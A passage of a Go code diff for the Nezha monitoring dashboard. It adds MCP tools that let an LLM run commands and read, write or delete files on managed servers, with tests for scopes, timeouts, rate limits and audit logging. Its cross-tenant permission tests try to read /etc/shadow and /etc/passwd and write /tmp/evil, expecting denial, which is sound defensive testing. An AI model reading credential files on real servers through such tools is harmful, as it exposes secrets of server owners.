tok.ID).Count(&cnt).Error + return cnt == 1 + }, 2*time.Second, 20*time.Millisecond, "audit row never appeared") +} + +func TestMCP_RateLimit(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + original := mcpRateLimiterShared + mcpRateLimiterShared = newMCPRateLimiter(2, 100) + defer func() { mcpRateLimiterShared = original }() + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + + for i := 0; i < 2; i++ { + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "meta.whoami", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.False(t, tcr.IsError) + } + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{Name: "meta.whoami", Arguments: json.RawMessage("{}")}), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "rate limit") +} + +func jsonObj(t *testing.T, v any) json.RawMessage { + t.Helper() + b, err := json.Marshal(v) + require.NoError(t, err) + return b +} + +func jsonRaw(v map[string]any) json.RawMessage { + b, _ := json.Marshal(v) + return b +} + +func ctoa(v uint64) string { + b, _ := json.Marshal(v) + return string(b) +} diff --git a/cmd/dashboard/controller/mcp_tools_exec.go b/cmd/dashboard/controller/mcp_tools_exec.go new file mode 100644 index 00000000..9b288b5b --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_exec.go @@ -0,0 +1,144 @@ +package controller + +import ( + "encoding/json" + "fmt" + "time" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +// server.exec — 非交互一次性命令。 +// 协议约束（agent 端强制）： +// - 不开 pty +// - 默认 30s 超时，硬上限 300s +// - stdout/stderr 各自最多 64KB（默认），硬上限 1MB +// - 受 agent 配置 DisableCommandExecute 影响 +// - 命令返回或超时时，agent 会回收整个进程组/JobObject：'cmd &'、nohup、 +// disown 这类普通后台进程都会被一并杀掉。要留长驻进程必须脱离会话 +// （setsid / screen -dmS / tmux new -d / systemd-run；Windows 需 breakaway）。 +// +// LLM 要用 shell 特性（管道、重定向）必须显式传 cmd="sh" args=["-c","..."]， +// 这样审计日志能完整记录被执行的指令。 +const mcpExecMaxTimeoutSec uint32 = 300 + +type execArgs struct { + ServerID uint64 `json:"server_id"` + Cmd string `json:"cmd"` + Args []string `json:"args,omitempty"` + Cwd string `json:"cwd,omitempty"` + Env map[string]string `json:"env,omitempty"` + TimeoutSeconds uint32 `json:"timeout_seconds,omitempty"` + Stdin string `json:"stdin,omitempty"` + MaxOutputBytes uint32 `json:"max_output_bytes,omitempty"` +} + +func init() { + registerMCPTool(&mcpTool{ + Name: "server.exec", + Description: "Run a non-interactive command on the target server and return stdout/stderr/exit_code. No pty. Use cmd='sh' args=['-c', '...'] for shell features. The entire process tree is killed when the command returns or times out, so plain background jobs ('cmd &', nohup, disown) do NOT survive; to leave a process running after the call, fully detach it from the session (e.g. setsid, 'screen -dmS', 'tmux new -d', systemd-run; on Windows it must break away from the job object).", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "cmd": map[string]any{"type": "string"}, + "args": map[string]any{"type": "array", "items": map[string]any{"type": "string"}}, + "cwd": map[string]any{"type": "string"}, + "env": map[string]any{"type": "object"}, + "timeout_seconds": map[string]any{"type": "integer", "minimum": 1, "maximum": 300}, + "stdin": map[string]any{"type": "string"}, + "max_output_bytes": map[string]any{"type": "integer"}, + }, + "required": []string{"server_id", "cmd"}, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "exit_code": map[string]any{"type": "integer"}, + "stdout": map[string]any{"type": "string"}, + "stderr": map[string]any{"type": "string"}, + "duration_ms": map[string]any{"type": "integer"}, + "stdout_truncated": map[string]any{"type": "boolean"}, + "stderr_truncated": map[string]any{"type": "boolean"}, + "timed_out": map[string]any{"type": "boolean"}, + }, + "required": []string{"exit_code", "stdout", "stderr", "duration_ms"}, + }, + RequiredScope: model.ScopeServerExec, + Handler: handleServerExec, + }) +} + +func handleServerExec(c *gin.Context, raw json.RawMessage) (any, error) { + var args execArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + if args.TimeoutSeconds > mcpExecMaxTimeoutSec { + return nil, errMCPInvalidArgs("timeout_seconds out of range; must be 1..300") + } + srv, err := requireServerAccess(c, args.ServerID) + if err != nil { + return nil, err + } + if err := requireAgentSupportsMCP(srv); err != nil { + return nil, err + } + if args.Cmd == "" { + return nil, errMCPInvalidArgs("cmd required") + } + + req := model.ExecRequest{ + Cmd: args.Cmd, + Args: args.Args, + Cwd: args.Cwd, + Env: args.Env, + TimeoutSeconds: args.TimeoutSeconds, + Stdin: args.Stdin, + MaxOutputBytes: args.MaxOutputBytes, + } + + timeout := callAgentTimeout(args.TimeoutSeconds, 30) + raw2, err := rpc.CallAgent(c.Request.Context(), args.ServerID, model.TaskTypeExec, req, timeout) + if err != nil { + return nil, err + } + var res model.ExecResult + if err := json.Unmarshal(raw2, &res); err != nil { + return nil, err + } + // ExecResult.Error means the agent refused / failed to run the command + // (disabled, empty cmd, Start/process-group failure). Surface it like fs.* + // handlers do, so MCP isError=true and audit outcome=agent_error. Non-zero + // ExitCode alone is a normal command outcome, not a tool error. + if res.Error != "" { + return nil, &execToolError{mcpError: mcpError{Code: model.MCPOutcomeAgentError, Msg: res.Error}, result: res} + } + return res, nil +} + +type execToolError struct { + mcpError + result model.ExecResult +} + +func (err *execToolError) StructuredResult() any { return err.result } + +func (err *execToolError) Error() string { + return fmt.Sprintf("%s: %s", err.Code, err.Msg) +} + +// callAgentTimeout 给 dashboard 侧 CallAgent 计算等待上限。 +// 在用户请求的 timeout 基础上加 5s buffer，让 agent 端的 hard timeout 先触发， +// 这样 dashboard 收到的总是结构化结果（包含 timed_out=true）， +// 而不是 ErrAgentTimeout。 +func callAgentTimeout(reqTimeoutSec uint32, defaultSec uint32) time.Duration { + t := reqTimeoutSec + if t == 0 { + t = defaultSec + } + return time.Duration(t+5) * time.Second +} diff --git a/cmd/dashboard/controller/mcp_tools_exec_error_test.go b/cmd/dashboard/controller/mcp_tools_exec_error_test.go new file mode 100644 index 00000000..a46c2904 --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_exec_error_test.go @@ -0,0 +1,97 @@ +package controller + +import ( + "context" + "encoding/json" + "testing" + "time" + + "github.com/stretchr/testify/require" + "google.golang.org/grpc/metadata" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +// execErrorStream replies every Task with a TaskResult whose Successful=true +// but whose Data carries a model.ExecResult{Error: ...}. This is exactly what +// the real agent does for "agent disabled command execution" / "cmd required" +// / pre-start failures. +type execErrorStream struct { + errMsg string +} + +func (s *execErrorStream) Send(t *pb.Task) error { + go func(taskID uint64) { + b, _ := json.Marshal(model.ExecResult{ExitCode: -1, Error: s.errMsg}) + rpc.DeliverMCPResultForTest(&pb.TaskResult{ + Id: taskID, + Type: model.TaskTypeExec, + Successful: true, + Data: string(b), + }) + }(t.GetId()) + return nil +} + +func (s *execErrorStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } +func (s *execErrorStream) SetHeader(metadata.MD) error { return nil } +func (s *execErrorStream) SendHeader(metadata.MD) error { return nil } +func (s *execErrorStream) SetTrailer(metadata.MD) {} +func (s *execErrorStream) Context() context.Context { return context.Background() } +func (s *execErrorStream) SendMsg(any) error { return nil } +func (s *execErrorStream) RecvMsg(any) error { return context.Canceled } + +// TestServerExec_AgentReportedErrorBecomesToolError pins the protocol contract +// that fs.* tools already obey: when the agent returns a structured result +// with a non-empty Error field, MCP tools/call must surface isError=true and +// audit must record agent_error — not MCPOutcomeOK with a quietly-failed +// structuredContent. The previous handler ignored ExecResult.Error and +// returned res, nil, which made the LLM and the audit log both believe the +// command succeeded while the agent had actually refused it. +func TestServerExec_AgentReportedErrorBecomesToolError(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + + srv, _ := singleton.ServerShared.Get(7) + srv.SetTaskStream(&execErrorStream{errMsg: "agent disabled command execution"}) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerExec}, nil) + + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "server.exec", + Arguments: jsonRaw(map[string]any{ + "server_id": 7, + "cmd": "echo", + "timeout_seconds": 2, + }), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr, "tools/call must return a tool result envelope") + require.True(t, tcr.IsError, + "agent ExecResult.Error must propagate as MCP tool error; got %+v", tcr) + require.Contains(t, tcr.Content[0].Text, "agent disabled command execution", + "tool error text must surface the agent-reported error message") + var result model.ExecResult + structuredJSON, err := json.Marshal(tcr.StructuredContent) + require.NoError(t, err) + require.NoError(t, json.Unmarshal(structuredJSON, &result)) + require.Equal(t, -1, result.ExitCode) + require.Equal(t, "agent disabled command execution", result.Error) + + require.Eventually(t, func() bool { + var got model.MCPAuditLog + err := singleton.DB.Where("token_id = ?", tok.ID).First(&got).Error + if err != nil { + return false + } + return got.Outcome == model.MCPOutcomeAgentError + }, 2*time.Second, 20*time.Millisecond, + "audit row must record agent_error, not ok, when ExecResult.Error is set") +} diff --git a/cmd/dashboard/controller/mcp_tools_exec_timeout_test.go b/cmd/dashboard/controller/mcp_tools_exec_timeout_test.go new file mode 100644 index 00000000..f87a50bc --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_exec_timeout_test.go @@ -0,0 +1,63 @@ +package controller + +import ( + "encoding/json" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func TestServerExec_RejectsOutOfRangeTimeoutSeconds(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerExec}, nil) + + // timeout_seconds is documented as 1..300 in the tool schema; sending + // 1_000_000 would otherwise let the dashboard wait ~1e6s on rpc.CallAgent + // when the agent is unreachable / old, turning one MCP call into a + // long-lived goroutine + connection occupation. Handler must reject + // before touching the RPC layer. + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "server.exec", + Arguments: jsonRaw(map[string]any{ + "server_id": 7, + "cmd": "echo", + "timeout_seconds": 1_000_000, + }), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError, "expected isError=true for out-of-range timeout, got %+v", tcr) + require.Contains(t, tcr.Content[0].Text, "timeout_seconds") +} + +func TestServerExec_RejectsZeroLikeNegativeTimeoutBoundary(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerExec}, nil) + + // 301s sits one above the documented maximum. The previous handler + // happily forwarded it as-is and added +5s to the dashboard-side wait, + // so any client could ignore the schema bound. Pin the rejection. + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "server.exec", + Arguments: jsonRaw(map[string]any{ + "server_id": 7, + "cmd": "echo", + "timeout_seconds": 301, + }), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "timeout_seconds") +} diff --git a/cmd/dashboard/controller/mcp_tools_fs.go b/cmd/dashboard/controller/mcp_tools_fs.go new file mode 100644 index 00000000..6755f349 --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_fs.go @@ -0,0 +1,311 @@ +package controller + +import ( + "encoding/hex" + "encoding/json" + "errors" + "time" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" +) + +const fsCallTimeout = 30 * time.Second + +func fsEntrySchema() map[string]any { + return map[string]any{ + "type": "object", + "properties": map[string]any{ + "name": map[string]any{"type": "string"}, + "type": map[string]any{"type": "string"}, + "size": map[string]any{"type": "integer"}, + "mode": map[string]any{"type": "string"}, + "mtime": map[string]any{"type": "integer"}, + "is_symlink": map[string]any{"type": "boolean"}, + "link_target": map[string]any{"type": "string"}, + }, + "required": []string{"name", "type", "size", "mode", "mtime"}, + } +} + +func init() { + registerMCPTool(&mcpTool{ + Name: "fs.list", + Description: "List entries of a directory on the target server.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "path": map[string]any{"type": "string", "description": "Absolute path."}, + "show_hidden": map[string]any{"type": "boolean"}, + }, + "required": []string{"server_id", "path"}, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "entries": map[string]any{"type": "array", "items": fsEntrySchema()}, + "truncated": map[string]any{"type": "boolean"}, + "total": map[string]any{"type": "integer"}, + }, + "required": []string{"entries"}, + }, + RequiredScope: model.ScopeServerRead, + Handler: handleFsList, + }) + + registerMCPTool(&mcpTool{ + Name: "fs.read", + Description: "Read a file. Default max 1MB; use offset/length for larger ranges, or fs.download_url for streaming up to 100MiB out-of-band.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "path": map[string]any{"type": "string"}, + "offset": map[string]any{"type": "integer", "minimum": 0}, + "length": map[string]any{"type": "integer", "minimum": 1}, + "encoding": map[string]any{"type": "string", "enum": []string{"utf8", "base64"}}, + }, + "required": []string{"server_id", "path"}, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "content": map[string]any{"type": "string"}, + "encoding": map[string]any{"type": "string"}, + "size": map[string]any{"type": "integer"}, + "sha256": map[string]any{"type": "string"}, + "truncated": map[string]any{"type": "boolean"}, + }, + "required": []string{"content", "encoding", "size"}, + }, + RequiredScope: model.ScopeServerRead, + Handler: handleFsRead, + }) + + registerMCPTool(&mcpTool{ + Name: "fs.write", + Description: "Atomic write to a file. Supports utf8 / base64 content, optional sha256 optimistic lock, create_dirs.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "path": map[string]any{"type": "string"}, + "content": map[string]any{"type": "string"}, + "encoding": map[string]any{"type": "string", "enum": []string{"utf8", "base64"}}, + "mode": map[string]any{"type": "string", "description": "Octal mode like '0644'."}, + "if_match_sha256": map[string]any{"type": "string"}, + "create_dirs": map[string]any{"type": "boolean"}, + }, + "required": []string{"server_id", "path", "content"}, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "size": map[string]any{"type": "integer"}, + "sha256": map[string]any{"type": "string"}, + }, + "required": []string{"size", "sha256"}, + }, + RequiredScope: model.ScopeServerWrite, + Handler: handleFsWrite, + }) + + registerMCPTool(&mcpTool{ + Name: "fs.delete", + Description: "Delete a file or directory. Pass recursive=true for non-empty directories.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "server_id": map[string]any{"type": "integer"}, + "path": map[string]any{"type": "string"}, + "recursive": map[string]any{"type": "boolean"}, + }, + "required": []string{"server_id", "path"}, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "deleted_count": map[string]any{"type": "integer"}, + }, + "required": []string{"deleted_count"}, + }, + RequiredScope: model.ScopeServerDelete, + Handler: handleFsDelete, + }) +} + +type fsListArgs struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + ShowHidden bool `json:"show_hidden,omitempty"` +} + +func handleFsList(c *gin.Context, raw json.RawMessage) (any, error) { + var args fsListArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + srv, err := requireServerAccess(c, args.ServerID) + if err != nil { + return nil, err + } + if err := requireAgentSupportsMCP(srv); err != nil { + return nil, err + } + if args.Path == "" { + return nil, errMCPInvalidArgs("path required") + } + out, err := rpc.CallAgent(c.Request.Context(), args.ServerID, model.TaskTypeFsList, + model.FsListRequest{Path: args.Path, ShowHidden: args.ShowHidden}, fsCallTimeout) + if err != nil { + return nil, err + } + var res model.FsListResult + if err := json.Unmarshal(out, &res); err != nil { + return nil, err + } + if res.Error != "" { + return nil, errors.New(res.Error) + } + return res, nil +} + +type fsReadArgs struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + Offset int64 `json:"offset,omitempty"` + Length int64 `json:"length,omitempty"` + Encoding string `json:"encoding,omitempty"` +} + +func handleFsRead(c *gin.Context, raw json.RawMessage) (any, error) { + var args fsReadArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + srv, err := requireServerAccess(c, args.ServerID) + if err != nil { + return nil, err + } + if err := requireAgentSupportsMCP(srv); err != nil { + return nil, err + } + if args.Path == "" { + return nil, errMCPInvalidArgs("path required") + } + if args.Offset < 0 { + return nil, errMCPInvalidArgs("offset must be >= 0") + } + if args.Length < 0 { + return nil, errMCPInvalidArgs("length must be >= 0") + } + out, err := rpc.CallAgent(c.Request.Context(), args.ServerID, model.TaskTypeFsRead, + model.FsReadRequest{ + Path: args.Path, + Offset: args.Offset, + Length: args.Length, + Encoding: args.Encoding, + }, fsCallTimeout) + if err != nil { + return nil, err + } + var res model.FsReadResult + if err := json.Unmarshal(out, &res); err != nil { + return nil, err + } + if res.Error != "" { + return nil, errors.New(res.Error) + } + return res, nil +} + +type fsWriteArgs struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + Content string `json:"content"` + Encoding string `json:"encoding,omitempty"` + Mode string `json:"mode,omitempty"` + IfMatchSHA256 string `json:"if_match_sha256,omitempty"` + CreateDirs bool `json:"create_dirs,omitempty"` +} + +func handleFsWrite(c *gin.Context, raw json.RawMessage) (any, error) { + var args fsWriteArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + srv, err := requireServerAccess(c, args.ServerID) + if err != nil { + return nil, err + } + if err := requireAgentSupportsMCP(srv); err != nil { + return nil, err + } + if args.Path == "" { + return nil, errMCPInvalidArgs("path required") + } + if args.IfMatchSHA256 != "" { + if _, decErr := hex.DecodeString(args.IfMatchSHA256); decErr != nil || len(args.IfMatchSHA256) != 64 { + return nil, errMCPInvalidArgs("if_match_sha256 must be 64 hex chars") + } + } + out, err := rpc.CallAgent(c.Request.Context(), args.ServerID, model.TaskTypeFsWrite, + model.FsWriteRequest{ + Path: args.Path, + Content: args.Content, + Encoding: args.Encoding, + Mode: args.Mode, + IfMatchSHA256: args.IfMatchSHA256, + CreateDirs: args.CreateDirs, + }, fsCallTimeout) + if err != nil { + return nil, err + } + var res model.FsWriteResult + if err := json.Unmarshal(out, &res); err != nil { + return nil, err + } + if res.Error != "" { + return nil, errors.New(res.Error) + } + return res, nil +} + +type fsDeleteArgs struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + Recursive bool `json:"recursive,omitempty"` +} + +func handleFsDelete(c *gin.Context, raw json.RawMessage) (any, error) { + var args fsDeleteArgs + if err := decodeToolArgs(raw, &args); err != nil { + return nil, err + } + srv, err := requireServerAccess(c, args.ServerID) + if err != nil { + return nil, err + } + if err := requireAgentSupportsMCP(srv); err != nil { + return nil, err + } + if args.Path == "" { + return nil, errMCPInvalidArgs("path required") + } + out, err := rpc.CallAgent(c.Request.Context(), args.ServerID, model.TaskTypeFsDelete, + model.FsDeleteRequest{Path: args.Path, Recursive: args.Recursive}, fsCallTimeout) + if err != nil { + return nil, err + } + var res model.FsDeleteResult + if err := json.Unmarshal(out, &res); err != nil { + return nil, err + } + if res.Error != "" { + return nil, errors.New(res.Error) + } + return res, nil +} diff --git a/cmd/dashboard/controller/mcp_tools_fs_test.go b/cmd/dashboard/controller/mcp_tools_fs_test.go new file mode 100644 index 00000000..b34af70c --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_fs_test.go @@ -0,0 +1,168 @@ +package controller + +import ( + "encoding/json" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// fs.* 跨租户拒绝测试：member token 调 fs.list/read/write/delete 时，如果 +// server.UserID != caller.ID 必须 isError 返回，且不会触达 agent。 +// +// 这些用例不依赖 agent simulator —— 它们要验证的就是 requireServerAccess 在 +// agent 调用前拦截。如果错误发生在 agent CallAgent，说明权限漏失。 + +func makeForeignServerMCP(t *testing.T, id, ownerUID uint64) { + t.Helper() + srv := &model.Server{} + srv.ID = id + srv.SetUserID(ownerUID) + singleton.ServerShared.InsertForTest(srv) +} + +func TestMCPFs_List_ForeignServerRejected(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + makeForeignServerMCP(t, 200, 999) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.list", + Arguments: jsonRaw(map[string]any{"server_id": 200, "path": "/etc"}), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.NotNil(t, tcr) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCPFs_Read_ForeignServerRejected(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + makeForeignServerMCP(t, 201, 999) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.read", + Arguments: jsonRaw(map[string]any{"server_id": 201, "path": "/etc/passwd"}), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCPFs_Write_ForeignServerRejected(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + makeForeignServerMCP(t, 202, 999) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerWrite}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.write", + Arguments: jsonRaw(map[string]any{ + "server_id": 202, "path": "/tmp/evil", "content": "x", + }), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCPFs_Delete_ForeignServerRejected(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + makeForeignServerMCP(t, 203, 999) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerDelete}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.delete", + Arguments: jsonRaw(map[string]any{"server_id": 203, "path": "/tmp/foo"}), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCPFs_DownloadURL_ForeignServerRejected(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + makeForeignServerMCP(t, 204, 999) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.download_url", + Arguments: jsonRaw(map[string]any{"server_id": 204, "path": "/etc/shadow"}), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCPFs_UploadURL_ForeignServerRejected(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + makeForeignServerMCP(t, 205, 999) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerWrite}, nil) + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.upload_url", + Arguments: jsonRaw(map[string]any{"server_id": 205, "path": "/tmp/up"}), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} + +func TestMCPFs_PATServerWhitelistFiltersFs(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + // Both servers owned by the same user, but the PAT only whitelists server 300. + // fs.list against server 7 (in setupMCPTest) must be denied even though + // caller user owns it, because the PAT was minted for server 300 only. + srv := &model.Server{} + srv.ID = 300 + srv.SetUserID(uid) + singleton.ServerShared.InsertForTest(srv) + + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, []uint64{300}) + + c, w := mcpCallCtx(t, tok, uid, jsonRPCRequest{ + JSONRPC: "2.0", ID: json.RawMessage("1"), Method: "tools/call", + Params: jsonObj(t, toolCallParams{ + Name: "fs.list", + Arguments: jsonRaw(map[string]any{"server_id": 7, "path": "/etc"}), + }), + }) + mcpEndpoint(c) + _, tcr := decodeRPC(w) + require.True(t, tcr.IsError) + require.Contains(t, tcr.Content[0].Text, "permission denied") +} diff --git a/cmd/dashboard/controller/mcp_tools_meta.go b/cmd/dashboard/controller/mcp_tools_meta.go new file mode 100644 index 00000000..3bac1b99 --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_meta.go @@ -0,0 +1,61 @@ +package controller + +import ( + "encoding/json" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +// meta.whoami 让 LLM 启动时知道自己拿的是哪张 PAT、能干什么、能动哪些服务器。 +// 不要求任何 scope（任意有效 PAT 均可调用）。 +type whoamiResult struct { + UserID uint64 `json:"user_id"` + IsAdmin bool `json:"is_admin"` + TokenID uint64 `json:"token_id"` + TokenName string `json:"token_name"` + Scopes []string `json:"scopes"` + ServerIDs []uint64 `json:"server_ids,omitempty"` +} + +func init() { + registerMCPTool(&mcpTool{ + Name: "meta.whoami", + Description: "Return the identity, scopes and accessible server IDs of the current API token.", + InputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{}, + }, + OutputSchema: map[string]any{ + "type": "object", + "properties": map[string]any{ + "user_id": map[string]any{"type": "integer"}, + "is_admin": map[string]any{"type": "boolean"}, + "token_id": map[string]any{"type": "integer"}, + "token_name": map[string]any{"type": "string"}, + "scopes": map[string]any{"type": "array", "items": map[string]any{"type": "string"}}, + "server_ids": map[string]any{"type": "array", "items": map[string]any{"type": "integer"}}, + }, + "required": []string{"user_id", "is_admin", "token_id", "scopes"}, + }, + RequiredScope: "", + Handler: handleMetaWhoami, + }) +} + +func handleMetaWhoami(c *gin.Context, _ json.RawMessage) (any, error) { + tok := APITokenFromContext(c) + if tok == nil { + return nil, errNoToken + } + user, _ := c.MustGet(model.CtxKeyAuthorizedUser).(*model.User) + return whoamiResult{ + UserID: user.ID, + IsAdmin: user.Role.IsAdmin(), + TokenID: tok.ID, + TokenName: tok.Name, + Scopes: tok.Scopes(), + ServerIDs: tok.ServerIDs(), + }, nil +} diff --git a/cmd/dashboard/controller/mcp_tools_server.go b/cmd/dashboard/controller/mcp_tools_server.go new file mode 100644 index 00000000..e8c54664 --- /dev/null +++ b/cmd/dashboard/controller/mcp_tools_server.go @@ -0,0 +1,203 @@ +package controller + +import ( + "encoding/json" + "time" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// server.list 返回当前 PAT 可见的服务器精简列表。 +// +// 输出字段刻意保持小：LLM context 很贵，列 100 台机器时不要把整张 Host/State 表 +// 全塞进去。需要细节时再调 server.get。 +type serverListItem struct { + ID uint64 `json:"id"` + Name string `json:"name"` + UUID string `json:"uuid,omitempty"` + IPv4 string `json:"ipv4,omitempty"` + IPv6 string `json:"ipv6,omitempty"` + Online bool `json:"online"` + Platform string `json:"platform,omitempty"` + Arch string `json:"arch,omitempty"` + LastActive time.Time `json:"last_active,omitempty"` +} + +type serverListArgs struct { + OnlineOnly bool `json:"online_only,omitempty"` +} + +// serverListResult 是 server.list 的返回外壳。MCP 2025-06-18 规定 +// structuredContent 必须是 JSON object，不能是裸数组/标量，否则严格客户端 +// （官方 TS/Python SDK）会拒绝整条 tools/call 结果。因此这里把列表包进对象， +// 不再直接返回 []serverListItem。 +type serverListResult struct { + Servers []serverListItem `json:"servers"` + Count int `json:"count"` +} + +func serverListItemSchema() map[string]any { + return map[string]any{ + "type": "object", + "properties": map[string]any{ + "id": map[string]any{"type": "integer"}, + "name": map[string]any{"type": "string"}, + "uuid": map[string]any{"type": "string"}, + "ipv4": map[string]any{"type": "string"}, + "ipv6": map[string]any{"type": "string"}, + "online": map[string]any{"type": "boolean"}, + "platform": map[string]any{"type": "string"}, + "arch": map[string]any{"type": "string"}, + "last_active": map[string]any{"type": "string", "format": "date-time"}, + }, + "required": []string{"id", "name", "online"}, + } +} + +func init() { + registerMCPTool(&mcpTool{ + Name: "server.list", + Description: "List servers visible to the 